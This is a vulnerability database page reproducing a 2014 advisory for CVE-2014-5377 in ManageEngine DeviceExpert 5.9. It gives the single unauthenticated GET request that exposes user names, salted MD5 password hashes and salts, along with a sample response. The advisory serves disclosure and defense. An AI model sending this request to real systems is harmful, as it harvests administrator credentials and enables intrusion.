Vulners
Lucene search
ManageEngine DeviceExpert 5.9 - User Credential Disclosure
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | ManageEngine DeviceExpert 5.9 - User Credential Disclosure | 28 Aug 201400:00 | – | zdt |
 | CVE-2014-5377 | 29 May 201815:50 | – | circl |
 | CVE-2014-5377 | 4 Sep 201417:00 | – | cve |
 | CVE-2014-5377 | 4 Sep 201417:00 | – | cvelist |
 | ManageEngine DeviceExpert 5.9 - User Credential Disclosure | 28 Aug 201400:00 | – | exploitpack |
 | ManageEngine DeviceExpert Unauthorized Information Disclosure | 4 Sep 201400:00 | – | nessus |
 | ManageEngine DeviceExpert User Credentials | 18 Sep 201419:18 | – | metasploit |
 | CVE-2014-5377 | 4 Sep 201417:55 | – | nvd |
 | ManageEngine DeviceExpert User Credentials Information Disclosure Vulnerability | 9 Sep 201400:00 | – | openvas |
 | ManageEngine DeviceExpert 5.9 Credential Disclosure | 27 Aug 201400:00 | – | packetstorm |
10
>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information Security
==========================================================================
>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."
>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable
GET /ReadUsersFromMasterServlet
Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>[email protected]</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>
The passwords are a salted MD5 hash.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Aug 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 25
EPSS0.67644